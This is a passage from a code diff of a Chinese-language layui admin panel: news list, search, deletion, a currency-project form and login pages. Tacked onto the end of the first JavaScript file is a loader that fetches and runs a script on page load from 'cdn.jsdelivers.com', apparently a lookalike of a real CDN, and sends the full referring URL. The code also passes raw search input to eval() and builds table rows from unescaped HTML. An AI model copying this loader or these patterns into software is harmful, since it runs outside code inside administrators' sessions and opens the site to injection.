||||
} else {
|
||||
var index = layer.confirm('请先添加分类再操作!', {btn: ['确定']} , function() {
|
||||
layer.close(index);
|
||||
showCateManage();
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//搜索按钮响应事件
|
||||
$('.btn-search').click(function() {
|
||||
var keyword = $(this).prev().find('input[name=keyword]').val();
|
||||
if(keyword != '') {
|
||||
var lhref = window.location
|
||||
,lang = $('select[name=lang]').val()
|
||||
,c_id = $('select[name=cate]').val();
|
||||
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang + '&keyword=' + keyword;;
|
||||
} else {
|
||||
layer.msg('请输入关键字!');
|
||||
}
|
||||
});
|
||||
|
||||
//搜索框增加回车键搜索响应事件
|
||||
$('input[name=keyword]').keydown(function(event) {
|
||||
if(event.keyCode == 13) {
|
||||
$('.btn-search').click();
|
||||
}
|
||||
});
|
||||
|
||||
//分类过滤
|
||||
form.on('select(cate)', function(data){
|
||||
var lang = $('select[name=lang]').val(),
|
||||
c_id = $('select[name=cate]').val(),
|
||||
lhref = window.location;
|
||||
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang ;
|
||||
});
|
||||
//语言过滤s
|
||||
form.on('select(lang)', function(data){
|
||||
var lang = $('select[name=lang]').val(),
|
||||
c_id = $('select[name=cate]').val(),
|
||||
lhref = window.location;
|
||||
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang ;
|
||||
});
|
||||
|
||||
//评论管理事件
|
||||
$('.newsDiscuss').click(function() {
|
||||
var id = $(this).data('id');
|
||||
var index = layer.open({
|
||||
title: '评论管理'
|
||||
,type: 2
|
||||
,content: '/admin/news_discuss_index/' + id
|
||||
,area: ['800px', '600px']
|
||||
,maxmin: true
|
||||
});
|
||||
layer.full(index);
|
||||
});
|
||||
|
||||
//编辑新闻
|
||||
$('.newsEdit').click(function(){
|
||||
var id = $(this).data('id');
|
||||
var index = layer.open({
|
||||
title: '编辑新闻'
|
||||
,type: 2
|
||||
,content: '/admin/news_edit/' + id
|
||||
,area: ['800px', '600px']
|
||||
,maxmin: true
|
||||
,anim: 2
|
||||
});
|
||||
layer.full(index);
|
||||
});
|
||||
|
||||
//删除新闻事件
|
||||
$('.newsDel').click(function() {
|
||||
var id = $(this).data('id');
|
||||
var disDelUrl = '';
|
||||
var delExect = function(url, index) {
|
||||
//执行删除操作
|
||||
$.get(url, function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.close(index);
|
||||
layer.msg('删除成功');
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
layer.msg('删除失败');
|
||||
}
|
||||
});
|
||||
}
|
||||
disDelUrl = '/admin/news_del/' + id;
|
||||
layer.confirm('真的确定要删除吗?',{icon: 3, title:'提示'}, function(index) {
|
||||
delExect(disDelUrl, index);
|
||||
});
|
||||
return false
|
||||
//判断是否有评论，提示是否连评论一同删除
|
||||
$.get('/admin/news_discuss_list/' + id, function(discussData) {
|
||||
if(discussData.count >0 ) {
|
||||
layer.confirm('是否连同评论一起删除?', {
|
||||
btn:['是','否', '取消'],
|
||||
btn1: function(index) {
|
||||
disDelUrl = '/admin/news_del/' + id + '/1';
|
||||
delExect(disDelUrl, index);
|
||||
},
|
||||
btn2: function(index) {
|
||||
disDelUrl += '/admin/news_del/' + id;
|
||||
delExect(disDelUrl, index);
|
||||
},
|
||||
});
|
||||
} else {
|
||||
disDelUrl = '/admin/news_del/' + id;
|
||||
layer.confirm('真的确定要删除吗?',{icon: 3, title:'提示'}, function(index) {
|
||||
delExect(disDelUrl, index);
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
layui.config({
|
||||
base : "js/"
|
||||
}).use(['form','layer','jquery','layedit','laydate'],function(){
|
||||
var form = layui.form,
|
||||
layer = parent.layer === undefined ? layui.layer : parent.layer,
|
||||
laypage = layui.laypage,
|
||||
layedit = layui.layedit,
|
||||
laydate = layui.laydate,
|
||||
$ = layui.jquery;
|
||||
|
||||
//创建一个编辑器
|
||||
var editIndex = layedit.build('news_content');
|
||||
var addNewsArray = [],addNews;
|
||||
form.on("submit(addNews)",function(data){
|
||||
//是否添加过信息
|
||||
if(window.sessionStorage.getItem("addNews")){
|
||||
addNewsArray = JSON.parse(window.sessionStorage.getItem("addNews"));
|
||||
}
|
||||
//显示、审核状态
|
||||
var isShow = data.field.show=="on" ? "checked" : "",
|
||||
newsStatus = data.field.shenhe=="on" ? "审核通过" : "待审核";
|
||||
|
||||
addNews = '{"newsName":"'+$(".newsName").val()+'",'; //文章名称
|
||||
addNews += '"newsId":"'+new Date().getTime()+'",'; //文章id
|
||||
addNews += '"newsLook":"'+$(".newsLook option").eq($(".newsLook").val()).text()+'",'; //开放浏览
|
||||
addNews += '"newsTime":"'+$(".newsTime").val()+'",'; //发布时间
|
||||
addNews += '"newsAuthor":"'+$(".newsAuthor").val()+'",'; //文章作者
|
||||
addNews += '"isShow":"'+ isShow +'",'; //是否展示
|
||||
addNews += '"newsStatus":"'+ newsStatus +'"}'; //审核状态
|
||||
addNewsArray.unshift(JSON.parse(addNews));
|
||||
window.sessionStorage.setItem("addNews",JSON.stringify(addNewsArray));
|
||||
//弹出loading
|
||||
var index = top.layer.msg('数据提交中，请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
top.layer.close(index);
|
||||
top.layer.msg("文章添加成功！");
|
||||
layer.closeAll("iframe");
|
||||
//刷新父页面
|
||||
parent.location.reload();
|
||||
},2000);
|
||||
return false;
|
||||
})
|
||||
|
||||
})
|
||||
@@ -0,0 +1,307 @@
|
||||
layui.config({
|
||||
base : "js/"
|
||||
}).use(['form','layer','jquery','laypage'],function(){
|
||||
var form = layui.form,
|
||||
layer = parent.layer === undefined ? layui.layer : parent.layer,
|
||||
laypage = layui.laypage,
|
||||
$ = layui.jquery;
|
||||
|
||||
//加载页面数据
|
||||
var newsData = '';
|
||||
$.get("../../json/newsList.json", function(data){
|
||||
var newArray = [];
|
||||
//单击首页“待审核文章”加载的信息
|
||||
if($(".top_tab li.layui-this cite",parent.document).text() == "待审核文章"){
|
||||
if(window.sessionStorage.getItem("addNews")){
|
||||
var addNews = window.sessionStorage.getItem("addNews");
|
||||
newsData = JSON.parse(addNews).concat(data);
|
||||
}else{
|
||||
newsData = data;
|
||||
}
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
if(newsData[i].newsStatus == "待审核"){
|
||||
newArray.push(newsData[i]);
|
||||
}
|
||||
}
|
||||
newsData = newArray;
|
||||
newsList(newsData);
|
||||
}else{ //正常加载信息
|
||||
newsData = data;
|
||||
if(window.sessionStorage.getItem("addNews")){
|
||||
var addNews = window.sessionStorage.getItem("addNews");
|
||||
newsData = JSON.parse(addNews).concat(newsData);
|
||||
}
|
||||
//执行加载数据的方法
|
||||
newsList();
|
||||
}
|
||||
})
|
||||
|
||||
//查询
|
||||
$(".search_btn").click(function(){
|
||||
var newArray = [];
|
||||
if($(".search_input").val() != ''){
|
||||
var index = layer.msg('查询中，请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
$.ajax({
|
||||
url : "",
|
||||
type : "get",
|
||||
dataType : "json",
|
||||
success : function(data){
|
||||
if(window.sessionStorage.getItem("addNews")){
|
||||
var addNews = window.sessionStorage.getItem("addNews");
|
||||
newsData = JSON.parse(addNews).concat(data);
|
||||
}else{
|
||||
newsData = data;
|
||||
}
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
var newsStr = newsData[i];
|
||||
var selectStr = $(".search_input").val();
|
||||
function changeStr(data){
|
||||
var dataStr = '';
|
||||
var showNum = data.split(eval("/"+selectStr+"/ig")).length - 1;
|
||||
if(showNum > 1){
|
||||
for (var j=0;j<showNum;j++) {
|
||||
dataStr += data.split(eval("/"+selectStr+"/ig"))[j] + "<i style='color:#03c339;font-weight:bold;'>" + selectStr + "</i>";
|
||||
}
|
||||
dataStr += data.split(eval("/"+selectStr+"/ig"))[showNum];
|
||||
return dataStr;
|
||||
}else{
|
||||
dataStr = data.split(eval("/"+selectStr+"/ig"))[0] + "<i style='color:#03c339;font-weight:bold;'>" + selectStr + "</i>" + data.split(eval("/"+selectStr+"/ig"))[1];
|
||||
return dataStr;
|
||||
}
|
||||
}
|
||||
//文章标题
|
||||
if(newsStr.newsName.indexOf(selectStr) > -1){
|
||||
newsStr["newsName"] = changeStr(newsStr.newsName);
|
||||
}
|
||||
//发布人
|
||||
if(newsStr.newsAuthor.indexOf(selectStr) > -1){
|
||||
newsStr["newsAuthor"] = changeStr(newsStr.newsAuthor);
|
||||
}
|
||||
//审核状态
|
||||
if(newsStr.newsStatus.indexOf(selectStr) > -1){
|
||||
newsStr["newsStatus"] = changeStr(newsStr.newsStatus);
|
||||
}
|
||||
//浏览权限
|
||||
if(newsStr.newsLook.indexOf(selectStr) > -1){
|
||||
newsStr["newsLook"] = changeStr(newsStr.newsLook);
|
||||
}
|
||||
//发布时间
|
||||
if(newsStr.newsTime.indexOf(selectStr) > -1){
|
||||
newsStr["newsTime"] = changeStr(newsStr.newsTime);
|
||||
}
|
||||
if(newsStr.newsName.indexOf(selectStr)>-1 || newsStr.newsAuthor.indexOf(selectStr)>-1 || newsStr.newsStatus.indexOf(selectStr)>-1 || newsStr.newsLook.indexOf(selectStr)>-1 || newsStr.newsTime.indexOf(selectStr)>-1){
|
||||
newArray.push(newsStr);
|
||||
}
|
||||
}
|
||||
newsData = newArray;
|
||||
newsList(newsData);
|
||||
}
|
||||
})
|
||||
|
||||
layer.close(index);
|
||||
},2000);
|
||||
}else{
|
||||
layer.msg("请输入需要查询的内容");
|
||||
}
|
||||
})
|
||||
|
||||
//添加文章
|
||||
//改变窗口大小时，重置弹窗的高度，防止超出可视区域（如F12调出debug的操作）
|
||||
$(window).one("resize",function(){
|
||||
$(".newsAdd_btn").click(function(){
|
||||
var index = layui.layer.open({
|
||||
title : "添加文章",
|
||||
type : 2,
|
||||
content : "newsAdd.html",
|
||||
success : function(layero, index) {
|
||||
setTimeout(function(){
|
||||
layui.layer.tips('点击此处返回文章列表', '.layui-layer-setwin .layui-layer-close', {
|
||||
tips: 3
|
||||
});
|
||||
},500);
|
||||
}
|
||||
})
|
||||
layui.layer.full(index);
|
||||
})
|
||||
}).resize();
|
||||
|
||||
//推荐文章
|
||||
$(".recommend").click(function(){
|
||||
var $checkbox = $(".news_list").find('tbody input[type="checkbox"]:not([name="show"])');
|
||||
if($checkbox.is(":checked")){
|
||||
var index = layer.msg('推荐中，请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
layer.close(index);
|
||||
layer.msg("推荐成功");
|
||||
},2000);
|
||||
}else{
|
||||
layer.msg("请选择需要推荐的文章");
|
||||
}
|
||||
})
|
||||
|
||||
//审核文章
|
||||
$(".audit_btn").click(function(){
|
||||
var $checkbox = $('.news_list tbody input[type="checkbox"][name="checked"]');
|
||||
var $checked = $('.news_list tbody input[type="checkbox"][name="checked"]:checked');
|
||||
if($checkbox.is(":checked")){
|
||||
var index = layer.msg('审核中，请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
for(var j=0;j<$checked.length;j++){
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
if(newsData[i].newsId == $checked.eq(j).parents("tr").find(".news_del").attr("data-id")){
|
||||
//修改列表中的文字
|
||||
$checked.eq(j).parents("tr").find("td:eq(3)").text("审核通过").removeAttr("style");
|
||||
//将选中状态删除
|
||||
$checked.eq(j).parents("tr").find('input[type="checkbox"][name="checked"]').prop("checked",false);
|
||||
form.render();
|
||||
}
|
||||
}
|
||||
}
|
||||
layer.close(index);
|
||||
layer.msg("审核成功");
|
||||
},2000);
|
||||
}else{
|
||||
layer.msg("请选择需要审核的文章");
|
||||
}
|
||||
})
|
||||
|
||||
//批量删除
|
||||
$(".batchDel").click(function(){
|
||||
var $checkbox = $('.news_list tbody input[type="checkbox"][name="checked"]');
|
||||
var $checked = $('.news_list tbody input[type="checkbox"][name="checked"]:checked');
|
||||
if($checkbox.is(":checked")){
|
||||
layer.confirm('确定删除选中的信息？',{icon:3, title:'提示信息'},function(index){
|
||||
var index = layer.msg('删除中，请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
//删除数据
|
||||
for(var j=0;j<$checked.length;j++){
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
if(newsData[i].newsId == $checked.eq(j).parents("tr").find(".news_del").attr("data-id")){
|
||||
newsData.splice(i,1);
|
||||
newsList(newsData);
|
||||
}
|
||||
}
|
||||
}
|
||||
$('.news_list thead input[type="checkbox"]').prop("checked",false);
|
||||
form.render();
|
||||
layer.close(index);
|
||||
layer.msg("删除成功");
|
||||
}, 2000);
|
||||
})
|
||||
}else{
|
||||
layer.msg("请选择需要删除的文章");
|
||||
}
|
||||
})
|
||||
|
||||
//全选
|
||||
form.on('checkbox(allChoose)', function(data){
|
||||
var child = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"])');
|
||||
child.each(function(index, item){
|
||||
item.checked = data.elem.checked;
|
||||
});
|
||||
form.render('checkbox');
|
||||
});
|
||||
|
||||
//通过判断文章是否全部选中来确定全选按钮是否选中
|
||||
form.on("checkbox(choose)",function(data){
|
||||
var child = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"])');
|
||||
var childChecked = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"]):checked')
|
||||
if(childChecked.length == child.length){
|
||||
$(data.elem).parents('table').find('thead input#allChoose').get(0).checked = true;
|
||||
}else{
|
||||
$(data.elem).parents('table').find('thead input#allChoose').get(0).checked = false;
|
||||
}
|
||||
form.render('checkbox');
|
||||
})
|
||||
|
||||
//是否展示
|
||||
form.on('switch(isShow)', function(data){
|
||||
var index = layer.msg('修改中，请稍候',{icon: 16,time:false,shade:0.8});
|
||||
setTimeout(function(){
|
||||
layer.close(index);
|
||||
layer.msg("展示状态修改成功！");
|
||||
},2000);
|
||||
})
|
||||
|
||||
//操作
|
||||
$("body").on("click",".news_edit",function(){ //编辑
|
||||
layer.alert('您点击了文章编辑按钮，由于是纯静态页面，所以暂时不存在编辑内容，后期会添加，敬请谅解。。。',{icon:6, title:'文章编辑'});
|
||||
})
|
||||
|
||||
$("body").on("click",".news_collect",function(){ //收藏.
|
||||
if($(this).text().indexOf("已收藏") > 0){
|
||||
layer.msg("取消收藏成功！");
|
||||
$(this).html("<i class='layui-icon'></i> 收藏");
|
||||
}else{
|
||||
layer.msg("收藏成功！");
|
||||
$(this).html("<i class='iconfont icon-star'></i> 已收藏");
|
||||
}
|
||||
})
|
||||
|
||||
$("body").on("click",".news_del",function(){ //删除
|
||||
var _this = $(this);
|
||||
layer.confirm('确定删除此信息？',{icon:3, title:'提示信息'},function(index){
|
||||
//_this.parents("tr").remove();
|
||||
for(var i=0;i<newsData.length;i++){
|
||||
if(newsData[i].newsId == _this.attr("data-id")){
|
||||
newsData.splice(i,1);
|
||||
newsList(newsData);
|
||||
}
|
||||
}
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
|
||||
function newsList(that){
|
||||
//渲染数据
|
||||
function renderDate(data,curr){
|
||||
var dataHtml = '';
|
||||
if(!that){
|
||||
currData = newsData.concat().splice(curr*nums-nums, nums);
|
||||
}else{
|
||||
currData = that.concat().splice(curr*nums-nums, nums);
|
||||
}
|
||||
if(currData.length != 0){
|
||||
for(var i=0;i<currData.length;i++){
|
||||
dataHtml += '<tr>'
|
||||
+'<td><input type="checkbox" name="checked" lay-skin="primary" lay-filter="choose"></td>'
|
||||
+'<td align="left">'+currData[i].newsName+'</td>'
|
||||
+'<td>'+currData[i].newsAuthor+'</td>';
|
||||
if(currData[i].newsStatus == "待审核"){
|
||||
dataHtml += '<td style="color:#f00">'+currData[i].newsStatus+'</td>';
|
||||
}else{
|
||||
dataHtml += '<td>'+currData[i].newsStatus+'</td>';
|
||||
}
|
||||
dataHtml += '<td>'+currData[i].newsLook+'</td>'
|
||||
+'<td><input type="checkbox" name="show" lay-skin="switch" lay-text="是|否" lay-filter="isShow"'+currData[i].isShow+'></td>'
|
||||
+'<td>'+currData[i].newsTime+'</td>'
|
||||
+'<td>'
|
||||
+ '<a class="layui-btn layui-btn-mini news_edit"><i class="iconfont icon-edit"></i> 编辑</a>'
|
||||
+ '<a class="layui-btn layui-btn-normal layui-btn-mini news_collect"><i class="layui-icon"></i> 收藏</a>'
|
||||
+ '<a class="layui-btn layui-btn-danger layui-btn-mini news_del" data-id="'+data[i].newsId+'"><i class="layui-icon"></i> 删除</a>'
|
||||
+'</td>'
|
||||
+'</tr>';
|
||||
}
|
||||
}else{
|
||||
dataHtml = '<tr><td colspan="8">暂无数据</td></tr>';
|
||||
}
|
||||
return dataHtml;
|
||||
}
|
||||
|
||||
//分页
|
||||
var nums = 13; //每页出现的数据量
|
||||
if(that){
|
||||
newsData = that;
|
||||
}
|
||||
laypage({
|
||||
cont : "page",
|
||||
pages : Math.ceil(newsData.length/nums),
|
||||
jump : function(obj){
|
||||
$(".news_content").html(renderDate(newsData,obj.curr));
|
||||
$('.news_list thead input[type="checkbox"]').prop("checked",false);
|
||||
form.render();
|
||||
}
|
||||
})
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,99 @@
|
||||
layui.use(['element', 'form', 'layer', 'jquery', 'layedit', 'laydate'], function() {
|
||||
var element = layui.element
|
||||
, $ = layui.$
|
||||
, form = layui.form
|
||||
, layer = layui.layer
|
||||
, laydate = layui.laydate
|
||||
, layedit = layui.layedit;
|
||||
|
||||
//初始化日期控件和富文本编辑器
|
||||
laydate.render({
|
||||
type:"datetime",
|
||||
elem: '#start_at', //指定元素
|
||||
trigger: 'click'//呼出事件改成click
|
||||
});
|
||||
laydate.render({
|
||||
type:"datetime",
|
||||
elem: '#end_at', //指定元素
|
||||
trigger: 'click'//呼出事件改成click
|
||||
});
|
||||
laydate.render({
|
||||
type:"datetime",
|
||||
elem: '#sell_begin', //指定元素
|
||||
trigger: 'click'//呼出事件改成click
|
||||
});
|
||||
|
||||
//百度富文本初始化
|
||||
var ue = UE.getEditor('news_content');
|
||||
var current_editor;
|
||||
|
||||
ueditor_image_callback = function(urlArray) {
|
||||
for(var i = 0 ;i<urlArray.length;i++)
|
||||
{
|
||||
current_editor.execCommand('insertHtml', "<img class='imgloading' data-original='"+urlArray[i]+"' alt='' src='"+urlArray[i]+"' style='display: inline;'>");
|
||||
}
|
||||
layer.closeAll();
|
||||
}
|
||||
|
||||
upload_image_callback = function (url)
|
||||
{
|
||||
$(".wx_qr_code").show()
|
||||
$("#wx_qr_code").val(url[0])
|
||||
$(".wx_qr_code").attr("src",url[0])
|
||||
}
|
||||
|
||||
baidu.editor.commands['customupload'] =
|
||||
{
|
||||
execCommand: function() {
|
||||
upload_select('ueditor_image_callback',10)
|
||||
current_editor = this;
|
||||
return true;
|
||||
}, queryCommandState: function() { }
|
||||
};
|
||||
|
||||
|
||||
|
||||
//表单提交事件
|
||||
form.on('submit(submit)', function(dataObj){
|
||||
if(dataObj.field.currency_id==dataObj.field.pay_currency_id){
|
||||
layer.msg('项目币种和支付币种不能相同');
|
||||
return false;
|
||||
}
|
||||
var url='/admin/currency/project/add';
|
||||
if(dataObj.field.project_id){
|
||||
url="/admin/currency/project/edit"
|
||||
}
|
||||
var serData = $(dataObj.form).serialize();
|
||||
$.ajax({
|
||||
type: 'POST'
|
||||
// ,url: window.location.href
|
||||
,url: url
|
||||
,data: serData
|
||||
,success: function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.msg(data.message, {
|
||||
icon: 1,
|
||||
time: 1000,
|
||||
end: function() {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
});
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
}
|
||||
,error: function(data) {
|
||||
//重新遍历获取JSON的KEY
|
||||
var str = '服务器验证失败！';
|
||||
for(var o in data.responseJSON.errors) {
|
||||
str += data.responseJSON.errors[o];
|
||||
}
|
||||
layer.msg(str, {icon:2});
|
||||
}
|
||||
});
|
||||
parent.layui.layer.close();
|
||||
return false; //阻止表单跳转。如果需要表单跳转，去掉这段即可。
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,182 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-cn">
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
|
||||
<title>Login - KitAdminCore</title>
|
||||
<script>
|
||||
if (window != window.top) top.location.href = self.location.href;
|
||||
</script>
|
||||
<link href="./plugins/layui/css/layui.css" rel="stylesheet" />
|
||||
<link href="./plugins/font-awesome/css/font-awesome.css" rel="stylesheet" />
|
||||
<link href="./build/css/login.1.css" rel="stylesheet" />
|
||||
<link href="./plugins/sideshow/css/normalize.css" rel="stylesheet" />
|
||||
<link href="./plugins/sideshow/css/demo.css" rel="stylesheet" />
|
||||
<link href="./plugins/sideshow/css/component.css" rel="stylesheet" />
|
||||
<!--[if IE]>
|
||||
<script src="./plugins/sideshow/js/html5.js"></script>
|
||||
<![endif]-->
|
||||
<style>
|
||||
canvas {
|
||||
position: absolute;
|
||||
z-index: -1;
|
||||
}
|
||||
|
||||
.kit-login-box header h1 {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
.kit-login-box header {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
.content {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.codrops-demos {
|
||||
position: absolute;
|
||||
bottom: 0;
|
||||
left: 40%;
|
||||
z-index: 10;
|
||||
}
|
||||
|
||||
.codrops-demos a {
|
||||
border: 2px solid rgba(242, 242, 242, 0.41);
|
||||
color: rgba(255, 255, 255, 0.51);
|
||||
}
|
||||
|
||||
.kit-pull-right button,
|
||||
.kit-login-main .layui-form-item input {
|
||||
background-color: transparent;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.kit-login-main .layui-form-item input::-webkit-input-placeholder {
|
||||
color: white;
|
||||
}
|
||||
|
||||
.kit-login-main .layui-form-item input:-moz-placeholder {
|
||||
color: white;
|
||||
}
|
||||
|
||||
.kit-login-main .layui-form-item input::-moz-placeholder {
|
||||
color: white;
|
||||
}
|
||||
|
||||
.kit-login-main .layui-form-item input:-ms-input-placeholder {
|
||||
color: white;
|
||||
}
|
||||
|
||||
.kit-pull-right button:hover {
|
||||
border-color: #009688;
|
||||
color: #009688
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
|
||||
<body class="kit-login-bg">
|
||||
<div class="container demo-1">
|
||||
<div class="content">
|
||||
<div id="large-header" class="large-header">
|
||||
<canvas id="demo-canvas"></canvas>
|
||||
<div class="kit-login-box">
|
||||
<header>
|
||||
<h1>KITADMIN LOGIN</h1>
|
||||
</header>
|
||||
<div class="kit-login-main">
|
||||
<form action="/" class="layui-form" method="post">
|
||||
<div class="layui-form-item">
|
||||
<label class="kit-login-icon">
|
||||
<i class="layui-icon"></i>
|
||||
</label>
|
||||
<input type="text" name="userName" lay-verify="required" autocomplete="off" placeholder="这里输入用户名." class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="kit-login-icon">
|
||||
<i class="layui-icon"></i>
|
||||
</label>
|
||||
<input type="password" name="password" lay-verify="required" autocomplete="off" placeholder="这里输入密码." class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="kit-login-icon">
|
||||
<i class="layui-icon"></i>
|
||||
</label>
|
||||
<input type="number" name="validCode" lay-verify="required|number" autocomplete="off" placeholder="输入右侧计算结果." class="layui-input">
|
||||
<span class="form-code" id="changeCode" style="position:absolute;right:2px; top:2px;">
|
||||
<img src="./build/images/GetVerfiyCode.png" id="refImg" style="cursor:pointer;" title="点击刷新"/>
|
||||
</span>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="kit-pull-left kit-login-remember">
|
||||
<input type="checkbox" name="rememberMe" value="true" lay-skin="primary" checked title="记住帐号?">
|
||||
</div>
|
||||
<div class="kit-pull-right">
|
||||
<button class="layui-btn layui-btn-primary" lay-submit lay-filter="login">
|
||||
<i class="fa fa-sign-in" aria-hidden="true"></i> 登录
|
||||
</button>
|
||||
</div>
|
||||
<div class="kit-clear"></div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<footer>
|
||||
<p>KIT ADMIN © <a href="http://blog.zhengjinfan.cn" style="color:white; font-size:18px;" target="_blank">www.zhengjinfan.cn</a></p>
|
||||
</footer>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- /container -->
|
||||
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script src="./plugins/sideshow/js/TweenLite.min.js"></script>
|
||||
<script src="./plugins/sideshow/js/EasePack.min.js"></script>
|
||||
<script src="./plugins/sideshow/js/rAF.js"></script>
|
||||
<script src="./plugins/sideshow/js/demo-1.js"></script>
|
||||
<script>
|
||||
layui.use(['layer', 'form'], function() {
|
||||
var layer = layui.layer,
|
||||
$ = layui.jquery,
|
||||
form = layui.form;
|
||||
|
||||
$('#changeCode').on('click', function() {
|
||||
$('#changeCode > img')[0].src = './build/images/GetVerfiyCode.png';
|
||||
});
|
||||
|
||||
//清理左侧菜单缓存
|
||||
var index = layer.load(2, {
|
||||
shade: [0.3, '#333']
|
||||
});
|
||||
$(window).on('load', function() {
|
||||
layer.close(index);
|
||||
form.on('submit(login)', function(data) {
|
||||
var loadIndex = layer.load(2, {
|
||||
shade: [0.3, '#333']
|
||||
});
|
||||
location.href = '/';
|
||||
// $.post(data.form.action, data.field, function(res) {
|
||||
// if (!res.rel) {
|
||||
// layer.msg(res.msg, {
|
||||
// icon: 2
|
||||
// });
|
||||
// loadIndex && layer.close(loadIndex);
|
||||
// $('#changeCode').click(); //刷新验证码
|
||||
// } else {
|
||||
// setTimeout(function() {
|
||||
// location.href = '/'
|
||||
// }, 1500);
|
||||
// }
|
||||
// }, 'json');
|
||||
return false;
|
||||
});
|
||||
}());
|
||||
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,97 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="ZH-cn">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
<title>Login</title>
|
||||
<link rel="stylesheet" href="plugins/layui/css/layui.css">
|
||||
<link rel="stylesheet" href="src/css/login.css">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="kit-login">
|
||||
<div class="kit-login-bg"></div>
|
||||
<div class="kit-login-wapper">
|
||||
<h2 class="kit-login-slogan">欢迎使用 <br> KITADMIN 1.x后台模板</h2>
|
||||
<div class="kit-login-form">
|
||||
<h4 class="kit-login-title">登录</h4>
|
||||
<form class="layui-form">
|
||||
<div class="kit-login-row">
|
||||
<div class="kit-login-col">
|
||||
<i class="layui-icon"></i>
|
||||
<span class="kit-login-input">
|
||||
<input type="text" name="loginName" lay-verify="required" placeholder="用户名/邮箱/手机号" />
|
||||
</span>
|
||||
</div>
|
||||
<div class="kit-login-col"></div>
|
||||
</div>
|
||||
<div class="kit-login-row">
|
||||
<div class="kit-login-col">
|
||||
<i class="layui-icon"></i>
|
||||
<span class="kit-login-input">
|
||||
<input type="password" name="password" lay-verify="required" placeholder="密码" />
|
||||
</span>
|
||||
</div>
|
||||
<div class="kit-login-col"></div>
|
||||
</div>
|
||||
<div class="kit-login-row">
|
||||
<div class="kit-login-col">
|
||||
<input type="checkbox" name="rememberMe" title="记住帐号" lay-skin="primary">
|
||||
</div>
|
||||
</div>
|
||||
<div class="kit-login-row">
|
||||
<button class="layui-btn kit-login-btn" lay-submit="submit" lay-filter="login_hash">登录</button>
|
||||
</div>
|
||||
<div class="kit-login-row" style="margin-bottom:0;">
|
||||
<a href="javascript:;" style="color: rgb(153, 153, 153); text-decoration: none; font-size: 13px;" id="forgot">忘记密码</a>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="plugins/polyfill.min.js"></script>
|
||||
<script src="plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
layui.use(['layer', 'form'], function() {
|
||||
var form = layui.form,
|
||||
$ = layui.jquery;
|
||||
|
||||
$('#forgot').on('click', function() {
|
||||
layer.msg('请联系管理员.');
|
||||
});
|
||||
//监听提交
|
||||
